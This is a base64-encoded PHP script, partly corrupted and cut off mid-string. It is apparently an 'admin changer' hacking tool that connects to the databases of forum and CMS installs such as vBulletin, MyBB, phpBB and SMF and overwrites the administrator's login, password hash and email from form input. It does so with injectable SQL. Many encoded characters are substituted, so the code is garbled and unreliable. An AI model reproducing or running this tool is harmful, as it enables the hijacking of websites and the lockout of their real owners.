2396 PD9waHAKLy9CZWdpbmluZyBvZiBDbaRpbmcKZXJyboJfcmVwboJ0aWinKDApOwogICAgJGluZm8gPSAkX6NFUlZFUlsnU0VSVkVSX6NPRlRXQVJFJ607CiAgICAkcal0ZSA9IGdldGVudigiSFRUUF9IT6NUIik7CiAgICAkcGFnZSA9ICRfU0VSVkVSWydTQ6JJUFRfTkFNRSddOwogICAgJHNuYW6lID0gJF9TRVJWRVJbJ6NFUlZFUl9OQU6FJ607CiAgICAkdWihbWUgPSBwaHBfdWihbWUoKTsKICAgICRzbW9kID0gaWipXadldCgncaFmZV9tbaRlJyk7CiAgICAkZGlzZnVuYyA9IGluaV9nZXQoJaRpcaFibGVfZnVuYoRpbaizJyk7CiAgICAkeW96cmlwID0gJF9TRVJWRVJbJ6JFTU9URV9BRERSJ607CiAgICAkcaVydmVyaXAgPSAkX6NFUlZFUlsnU0VSVkVSX0FERFInXTsKCQovL6RpdGxlCmVjaG8gIjxoZWFkPgo8coRibGU+CmJvZHkgeyBmbai0LXNpemUeIDEycHg7CiAgICAgICAgICAgZm9udC6mYW6pbHkeIGFyaWFsLCBoZWxaZXRpYaE7CiAgICAgICAgICAgIHNjcm9sbGJhci6oaWR0aDogNTsKICAgICAgICAgICAgcaNybaxsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgcaNybaxsYmFyLWZhYaUtYa9sboIeIGJsYWNrOwogICAgICAgICAgICBzYoJvbGxiYXItcahhZG9oLWNvbG9yOiBzaWxaZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci6oaWdobGlnaHQtYa9sboIeIHNpbHZlcjsKICAgICAgICAgICAgcaNybaxsYmFyLTNkbGlnaHQtYa9sboIecalsdmVyOwogICAgICAgICAgICBzYoJvbGxiYXItZGFyaoNoYWRvdy6jbaxvcjogcalsdmVyOwogICAgICAgICAgICBzYoJvbGxiYXItdHJhYastYa9sboIeIGJsYWNrOwogICAgICAgICAgICBzYoJvbGxiYXItYXJyboctYa9sboIeIHNpbHZlcjsKICAgIH0KPC9zdHlsZTuKPHRpdGxlPktibUxqbmsgLSBbJHNpdGVdPC90aXRsZTu8LahlYWQ+IjsKLy9CdXR0baugTGlzdAplYahvICI8YaVudGVyPjxmboJtIG6ldGhvZD6QT6NUIGFjdGlvbicnPjxpbnB6dCB0eXBlPXN6Ym6pdCBuYW6lPXZidWxsZXRpbiBaYWx6ZT0ndkJ6bGxldGluJzu8aWiwdXQgdHlwZT6zdWJtaXQgbmFtZT6teWJiIHZhbHVlPSdNeUJCJzu8aWiwdXQgdHlwZT6zdWJtaXQgbmFtZT6waHBiYiBaYWx6ZT0ncGhwQkInPjxpbnB6dCB0eXBlPXN6Ym6pdCBuYW6lPXNtZiBaYWx6ZT0nU06GJzu8aWiwdXQgdHlwZT6zdWJtaXQgbmFtZT6oaG6jcyBaYWx6ZT0nV0hNQ6MnPjxpbnB6dCB0eXBlPXN6Ym6pdCBuYW6lPXdvcmRwcmVzcyBaYWx6ZT0nVa9yZFByZXNzJzu8aWiwdXQgdHlwZT6zdWJtaXQgbmFtZT6qba9tbGEgdmFsdWU9J0pvba6sYSc+PGlucHV0IHRicGU9coVibWl0IGihbWU9cGhwLWi6aaUgdmFsdWU9J6BIUC6OVUtFJzu8aWiwdXQgdHlwZT6zdWJtaXQgbmFtZT66cCBaYWx6ZT0nVHJhaWRudCBVUCc+PC9mboJtPjwvYaVudGVyPiI7CmZ6bmN0aW9uIHVwZGF0ZSgpCnsKCWVjaG8gIlsrXSBVcGRhdGUgSGFzIERvbmUgXl9eIjsKfQovLoZCdWxsZXRpbgppZiAoaXNzZXQoJF9QT6NUWydaYnVsbGV0aWunXSkpCnsKZWNobyAiPGNlbnRlcju8dGFibGUgYm9yZGVyPTAgdalkdGg9JzEwMCUnPgo8dHI+PHRkPgo8YaVudGVyPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIHZCdWxsZXRpbiBJbmZvPGJyPlBhdGNoIENvbnRybawgUGFuZWwgOiBbcGF0YahdLaFkbWluYoA8YnI+UGF0aCBDbaimaWcgOiBbcGF0YahdLaluYax6ZGVzLaNvbmZpZyiwaHA8YnI+aWijbHVkZXMvaWipdCiwaHAgPC9mbai0Pgo8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyNGRjAwMDAnPju+PC9mbai0Pjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+IGluYax6ZGVzLaNsYXNzXaNvcmUucGhwIDwvZm9udDuKPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkYwMDAwJzu+PjwvZm9udDu8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPiBpbmNsdWRlcy9jbaimaWcucGhwPC9mbai0PjwvYaVudGVyPgogICAgPGNlbnRlcju8Zm9ybSBtZXRobaQ9UE9TVCBhYoRpbau9Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziNeXNxbCBIboN0PC9mbai0Pjxicju8aWiwdXQgdmFsdWU9bG9jYWxoboN0IHRicGU9dGVudCBuYW6lPWRiaHZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIGihbWU8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6mboJ6bXMgdHlwZT60ZXh0IGihbWU9ZGJudmIgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgdXNlcjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXJvboQgdHlwZT60ZXh0IGihbWU9ZGJ6dmIgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgcGFzcodvcmQ8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6hZG6pbiB0eXBlPXBhcoNoboJkIGihbWU9ZGJwdmIgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+VGFibGUgcHJlZmluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9dmJfIHRicGU9dGVudCBuYW6lPXBydmIgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+VXNlciBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHRicGU9dGVudCBuYW6lPXVydmIgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+TmVoIHBhcoNoboJkIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXBhcoNoboJkIGihbWU9cHNaYiBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziOZXcgRS6tYWlsIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9eW96ci6lbWFpbEBueHhuLmNvbSB0eXBlPXRleHQgbmFtZT6lbXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8aWiwdXQgdHlwZT6zdWJtaXQgdmFsdWU9J0NoYWinZScgPjxicjuKICAgICAgICAgIDwvZm9ybTu8LaNlbnRlcju8LoRkPjwvdHI+PC90YWJsZTu8LaNlbnRlcjuiOwp9ZWxzZXsKJGRiaHZiID0gJF9QT6NUWydkYmhaYiddOwokZGJudmIgID0gJF9QT6NUWydkYmiaYiddOwokZGJ6dmIgPSAkX6BPU6RbJaRidXZiJ607CiRkYnBaYiAgPSAkX6BPU6RbJaRicHZiJ607CiAgICAgICAgIEBteXNxbF9jbaiuZWN0KCRkYmhaYiwkZGJ6dmIsJGRicHZiKTsKICAgICAgICAgQG6icoFsXoNlbGVjdF9kYigkZGJudmIpOwoKJHVydmI9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHVydmIpOwoKJHNldF96cnZiID0gJF9QT6NUWyd6cnZiJ607CgokcHNaYj6zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNaYik7CiRwYXNzXoZiID0gJF9QT6NUWydwcoZiJ607CgokZW6aYj6zdHJfcmVwbGFjZSgiXCciLCInIiwkZW6aYik7CiRzZXRfZW6aYiA9ICRfUE9TVFsnZW6aYiddOwoKJHZiXoByZWZpeCA9ICRfUE9TVFsncHJaYiddOwoKJHRhYmxlXaihbWUgPSAkdmJfcHJlZmluLiJ6caVyIiA7CgokcXVlcnkgPSAncaVsZWN0ICogZnJvbSAnICugJHRhYmxlXaihbWUgLiAnIHdoZXJlIHVzZXJuYW6lPSInICugJHNldF96cnZiICugJyI7JzsKCiRyZXN6bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOwokcm9oID0gbXlzcWxfZmV0YahfYXJyYXkoJHJlcoVsdCk7CiRzYWx0ID0gJHJvd6sncaFsdCddOwokcGFzczIgPSBtZDUoJHBhcoNfdmIpOwokcGFzcyA9JHBhcoMyICugJHNhbHQ7CgokcaV0XoBzcaFsdCA9IG6kNSgkcGFzcyk7CgokbGVjbaindGhpZWuxID0gJ6VQREFURSAnICugJHRhYmxlXaihbWUgLiAnIFNFVCBwYXNzda9yZD0iJyAuICRzZXRfcHNzYWx0ICugJyIgV0hFUkUgdXNlcmihbWU9IicgLiAkcaV0XoVydmIgLiAnIjsnOwokbGVjbaindGhpZWuyID0gJ6VQREFURSAnICugJHRhYmxlXaihbWUgLiAnIFNFVCBlbWFpbD0iJyAuICRzZXRfZW6aYiAuICciIFdIRVJFIHVzZXJuYW6lPSInICugJHNldF96cnZiICugJyI7JzsKCiRvazE9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjEpOwokbasxPUBteXNxbF9xdWVyeSgkbGVjbaindGhpZWuyKTsKCmlmKCRvazEpewplYahvICI8caNyaXB0PmFsZXJ0KCdaQnVsbGV0aWugdXBkYXRlIHN6YaNlcoMgLiBDboBicmlnaHQgQnkgTXkgSHViZWugOyknKTs8LoNjcmlwdDuiOwp9Cn0KCi8vTXlCQgppZiAoaXNzZXQoJF9QT6NUWydteWJiJ60pKQp7CmVjaG8gIjxjZWi0ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJzuKPHRyPjx0ZDuKPGNlbnRlcju8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBNeUJCIEluZm88YnI+UGF0YaggQa9udHJvbCBQYWilbCAeIFtwYXRjaF0vYWRtaWu8YnI+UGF0aCBDbaimaWcgOiBbcGF0YahdLaluYy9jbaimaWcucGhwPC9mbai0PjwvYaVudGVyPgogICAgPGNlbnRlcju8Zm9ybSBtZXRobaQ9UE9TVCBhYoRpbau9Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziNeXNxbCBIboN0PC9mbai0Pjxicju8aWiwdXQgdmFsdWU9bG9jYWxoboN0IHRicGU9dGVudCBuYW6lPWRiaG6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIGihbWU8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6teWJiIHRicGU9dGVudCBuYW6lPWRibm6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6yba90IHRicGU9dGVudCBuYW6lPWRidW6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHBhcoNoboJkPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9YWRtaWugdHlwZT6wYXNzda9yZCBuYW6lPWRicG6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSB6caVyIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXRleHQgbmFtZT66cm6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBFLW6haWwgYWRtaWu8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6iboVyLWVtYWlsQHhueCijba0gdHlwZT60ZXh0IGihbWU9ZW6teSBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziUYWJsZSBwcmVmaXg8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6teWJiXyB0eXBlPXRleHQgbmFtZT6wcm6iIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8aWiwdXQgdHlwZT6zdWJtaXQgdmFsdWU9J0NoYWinZScgPjwvZm9ybTu8LaNlbnRlcju8LoRkPjwvdHI+PC90YWJsZTu8LaNlbnRlcjuiOwp9ZWxzZXsKJGRiaG6iID0gJF9QT6NUWydkYmhteSddOwokZGJubXkgID0gJF9QT6NUWydkYmiteSddOwokZGJ6bXkgPSAkX6BPU6RbJaRidW6iJ607CiRkYnBteSAgPSAkX6BPU6RbJaRicG6iJ607CiAgICAgICAgIEBteXNxbF9jbaiuZWN0KCRkYmhteSwkZGJ6bXksJGRicG6iKTsKICAgICAgICAgQG6icoFsXoNlbGVjdF9kYigkZGJubXkpOwoKJHVybXk9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHVybXkpOwokcaV0XoVybXkgPSAkX6BPU6RbJoVybXknXTsKCiRlbW6iPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRlbW6iKTsKJHNldF9lbW6iID0gJF9QT6NUWydlbW6iJ607CgokbXlfcHJlZmluID0gJF9QT6NUWydwcm6iJ607CgokdGFibGVfbmFtZTEgPSAkbXlfcHJlZmluLiJ6caVycyIgOwoKJGxlYa9uZoRoaWVuMyA9ICJVUERBVEUgJHRhYmxlXaihbWUxIFNFVCB6caVybmFtZSA9JyIuJHNldF96cm6iLiInIFdIRVJFIHVpZCA9JzEnIjsKJGxlYa9uZoRoaWVuNCA9ICJVUERBVEUgJHRhYmxlXaihbWUxIFNFVCBlbWFpbCA9JyIuJHNldF9lbW6iLiInIFdIRVJFIHVpZCA9JzEnIjsKCiRvazI9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjMpOwokbasyPUBteXNxbF9xdWVyeSgkbGVjbaindGhpZWu0KTsKCmlmKCRvazIpewplYahvICI8caNyaXB0PmFsZXJ0KCdNeUJCIHVwZGF0ZSBzdWNjZXNzICugQa9weXJpZah0IEJiIE6iIEh6eWVuIDspJyk7PC9zYoJpcHQ+IjsKfQp9CgovLoBocEJCCmlmIChpcoNldCgkX6BPU6RbJoBocGJiJ60pKQp7CmVjaG8gIjxjZWi0ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJzuKPHRyPjx0ZDuKPGNlbnRlcju8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSBwaHBCQiBJbmZvPGJyPlBhdGNoIENvbnRybawgUGFuZWwgOiBbcGF0YahdLaFkbTxicjiQYXRoIENvbmZpZyAeIFtwYXRjaF0vYa9uZmlnLnBocDwvZm9udDu8LaNlbnRlcjuKICAgIDxjZWi0ZXI+PGZvcm0gbWV0aG9kPVBPU6QgYWN0aW9uPScnPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udDu8YnI+PGlucHV0IHZhbHVlPWxvYaFsaG9zdCB0eXBlPXRleHQgbmFtZT6kYmhwaHAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgbmFtZTxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXBocGJiIHRicGU9dGVudCBuYW6lPWRibnBocCBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziEQiB6caVyPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT6kYnVwaHAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgcGFzcodvcmQ8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6hZG6pbiB0eXBlPXBhcoNoboJkIGihbWU9ZGJwcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkNoYWinZSB6caVyIGFkbWluPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9SoltTGpuayB0eXBlPXRleHQgbmFtZT66cnBocCBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgcGFzcodvcmQgYWRtaWu8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6LeW6MamirIHRicGU9cGFzcodvcmQgbmFtZT6wcoBocCBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziUYWJsZSBwcmVmaXg8YnI+PC9mbai0PjxpbnB6dCBaYWx6ZT6waHBiYl8gdHlwZT60ZXh0IGihbWU9cHJwaHAgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxpbnB6dCB0eXBlPXN6Ym6pdCBaYWx6ZT0nQahhbmdlJyA+PC9mboJtPjwvYaVudGVyPjwvdGQ+PC90cju8LoRhYmxlPjwvYaVudGVyPiI7Cn6lbHNlewokZGJocGhwID0gJF9QT6NUWydkYmhwaHAnXTsKJGRibnBocCAgPSAkX6BPU6RbJaRibnBocCddOwokZGJ6cGhwID0gJF9QT6NUWydkYnVwaHAnXTsKJGRicHBocCAgPSAkX6BPU6RbJaRicHBocCddOwogICAgICAgICBAbXlzcWxfYa9ubmVjdCgkZGJocGhwLCRkYnVwaHAsJGRicHBocCk7CiAgICAgICAgIEBteXNxbF9zZWxlYoRfZGIoJGRibnBocCk7CgokdXJwaHA9coRyXoJlcGxhYaUoIlwnIiwiJyIsJHVycGhwKTsKJHNldF96cnBocCA9ICRfUE9TVFsndXJwaHAnXTsKCiRwcoBocD6zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNwaHApOwokcGFzc69waHAgPSAkX6BPU6RbJoBzcGhwJ607CiRzZXRfcHNwaHAgPSBtZDUoJHBhcoNfcGhwKTsKCiRwaHBfcHJlZmluID0gJF9QT6NUWydwcnBocCddOwoKJHRhYmxlXaihbWUyID0gJHBocF9wcmVmaXguInVzZXJzIiA7CgokbGVjbaindGhpZWu6ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJuYW6lXaNsZWFuID0nIiukcaV0XoVycGhwLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjYgPSAiVVBEQVRFICR0YWJsZV9uYW6lMiBTRVQgdXNlcl9wYXNzda9yZCA9JyIuJHNldF9wcoBocCuiJyBXSEVSRSB6caVyXalkID0nMiciOwoKJG9rMz6AbXlzcWxfcXVlcnkoJGxlYa9uZoRoaWVuNSk7CiRvazM9QG6icoFsXoF6ZXJiKCRsZWNvbmd0aGllbjYpOwoKaWYoJG9rMyl7CmVjaG8gIjxzYoJpcHQ+YWxlcnQoJoBocEJCIHVwZGF0ZSBzdWNjZXNzICugQa9weXJpZah0IEJiIE6iIEh6eWVuIDspJyk7PC9zYoJpcHQ+IjsKfQp9CgovL6NNRgppZiAoaXNzZXQoJF9QT6NUWydzbWYnXSkpCnsKZWNobyAiPGNlbnRlcju8dGFibGUgYm9yZGVyPTAgdalkdGg9JzEwMCUnPgo8dHI+PHRkPgo8YaVudGVyPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+QahhbmdlIFNNRiBJbmZvPGJyPlBhdGNoIENvbnRybawgUGFuZWwgOiBbcGF0YahdLaluZGVuLnBocD9hYoRpbau9YWRtaWu8YnI+UGF0aCBDbaimaWcgOiBbcGF0YahdL6NldHRpbmdzLnBocDwvZm9udDu8LaNlbnRlcjuKICAgIDxjZWi0ZXI+PGZvcm0gbWV0aG9kPVBPU6QgYWN0aW9uPScnPjxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udDu8YnI+PGlucHV0IHZhbHVlPWxvYaFsaG9zdCB0eXBlPXRleHQgbmFtZT6kYmhzbWYgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgbmFtZTxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXNtZiB0eXBlPXRleHQgbmFtZT6kYmizbWYgcaleZT0nNTAnIHN0eWxlPSdmbai0LXNpemUeIDhwdDsgYa9sboIeICMwMDAwMDA7IGZvbnQtZmFtaWxiOiBUYWhvbWE7IGJvcmRlcjogMXBuIHNvbGlkICMaNjYaNjY7IGJhYatncm96bmQtYa9sboIeICNGRkZGRkYnPjxicjuKICAgICAgICAgIDxmbai0IGZhYaU9J0FyaWFsJyBjbaxvcj0nIzAwMDAwMCc+REIgdXNlcjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPXJvboQgdHlwZT60ZXh0IGihbWU9ZGJ6ca6mIHNpemU9JzUwJyBzdHlsZT0nZm9udC6zaXplOiAucHQ7IGNvbG9yOiAjMDAwMDAwOyBmbai0LWZhbWlseTogVGFoba6hOyBiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOyBiYWNrZoJvdWikLWNvbG9yOiAjRkZGRkZGJzu8YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgYa9sboI9JyMwMDAwMDAnPkRCIHBhcoNoboJkPGJyPjwvZm9udDu8aWiwdXQgdmFsdWU9YWRtaWugdHlwZT6wYXNzda9yZCBuYW6lPWRicHNtZiBzaXplPSc6MCcgcoRibGU9JaZvbnQtcaleZTogOHB0OyBjbaxvcjogIzAwMDAwMDsgZm9udC6mYW6pbHkeIFRhaG9tYTsgYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsgYmFjaadyboVuZC6jbaxvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJziDaGFuZaUgdXNlciBhZG6pbjxicju8LaZvbnQ+PGlucHV0IHZhbHVlPUtibUxqbmsgdHlwZT6